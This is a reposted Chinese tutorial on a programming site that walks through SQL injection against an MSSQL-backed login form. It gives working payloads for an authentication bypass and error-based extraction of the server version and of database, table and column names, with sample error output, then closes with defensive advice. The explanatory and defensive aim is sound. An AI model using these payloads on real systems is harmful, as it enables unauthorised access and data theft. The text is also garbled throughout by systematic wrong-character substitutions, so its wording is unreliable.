程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> MSSQL >> SQL注入全進程深刻剖析

SQL注入全進程深刻剖析

編輯:MSSQL

SQL注入全進程深刻剖析。本站提示廣大學習愛好者:(SQL注入全進程深刻剖析)文章只能為提供參考,不一定能成為您想要的結果。以下是SQL注入全進程深刻剖析正文


本文剖析了SQL注入全進程。分享給年夜家供年夜家參考,詳細以下:

初步注入--繞過驗證,直接登錄

公司網站上岸框以下:

可以看到除賬號暗碼以外,還有一個公司名的輸出框,依據輸出框的情勢不難推出SQL的寫法以下:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我發明前二者都做一些檢討,而第三個輸出框卻忽視了,破綻就在這裡!注入開端,在輸出框中輸出以下內容:

用戶名亂填,暗碼留空,這類情形下點擊登錄按鈕後居然勝利登錄了。

我們看一下終究的SQL就會找到緣由:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

從代碼可以看出,前一半單引號被閉合,後一半單引號被 “--”給正文失落,中央多了一個永久成立的前提“1=1”,這就形成任何字符都能勝利登錄的成果。而Sql注入的傷害卻不只僅是匿名登錄。

中級注入--借助異常獲得信息

如今我們在第三個輸出框中寫入:

‘or 1=(SELECT @@version) –

以下:

後台的SQL釀成了如許:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp=''
or 1=(SELECT @@VERSION)--'

斷定前提釀成了1=(SELECT @@VERSION),

這個寫法確定會招致毛病,但失足恰是我們想要的。點擊登錄後,頁面湧現以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45
Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit)
on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.

恐怖的工作湧現了,辦事器的操作體系和SQL Server版本信息居然經由過程毛病顯示出來。

傷害擴展--獲得辦事器一切的庫名、表名、字段名

接著,我們在輸出框中輸出以下信息:
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--

此時發明第三個輸出框有字數長度的限制,但是這類客戶真個限制形同虛設,

直接經由過程Google閱讀器就可以去除。

點擊登錄,前往的信息以下:

Conversion failed when converting the nvarchar value 'master' to data type int.

數據庫稱號“master”經由過程異常被顯示出來!順次轉變下面SQL語句中的序號,

就可以獲得辦事器上一切數據庫的稱號。

接著,輸出信息以下:
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--

獲得前往信息以下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我們獲得了master數據庫中的第一張表名:“spt_fallback_db”,

同上,順次轉變序號,可獲得該庫全體表名。

如今我們以“spt_fallback_db”表為例,測驗考試獲得該表中一切的字段名。在輸出框中輸出以下代碼:
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');

因而,獲得毛病提醒以下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

如許第一個字段名“xserver_name”就出來了,順次轉變序號,就可以遍歷出一切的字段名。

終究目標--獲得數據庫中的數據

寫到這裡,我們已知經由過程SQL注入能獲得全體的數據庫,表,及其字段,為了避免本文完整淪為注入教程,獲得數據的代碼就不再描寫,而這篇文章的目標也已到達,SQL注入意味著甚麼?意味著數據庫中一切數據都能被竊取。

當曉得這個傷害今後,能否還能有人對SQL注入破綻置之度外?

結語

關於平安性,本文可總結出一下幾點:

1. 對用戶輸出的內容要時辰堅持小心。
2. 只要客戶真個驗證等於沒有驗證。
3. 永久不要把辦事器毛病信息裸露給用戶。

除此以外,我還要彌補幾點:

1. SQL注入不只能經由過程輸出框,還能經由過程Url到達目標。
2. 除辦事器毛病頁面,還有其他方法獲得到數據庫信息。
3. 可經由過程軟件模仿注入行動,這類方法竊取信息的速度要比你想象中快的多。
4. 破綻跟說話平台有關。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved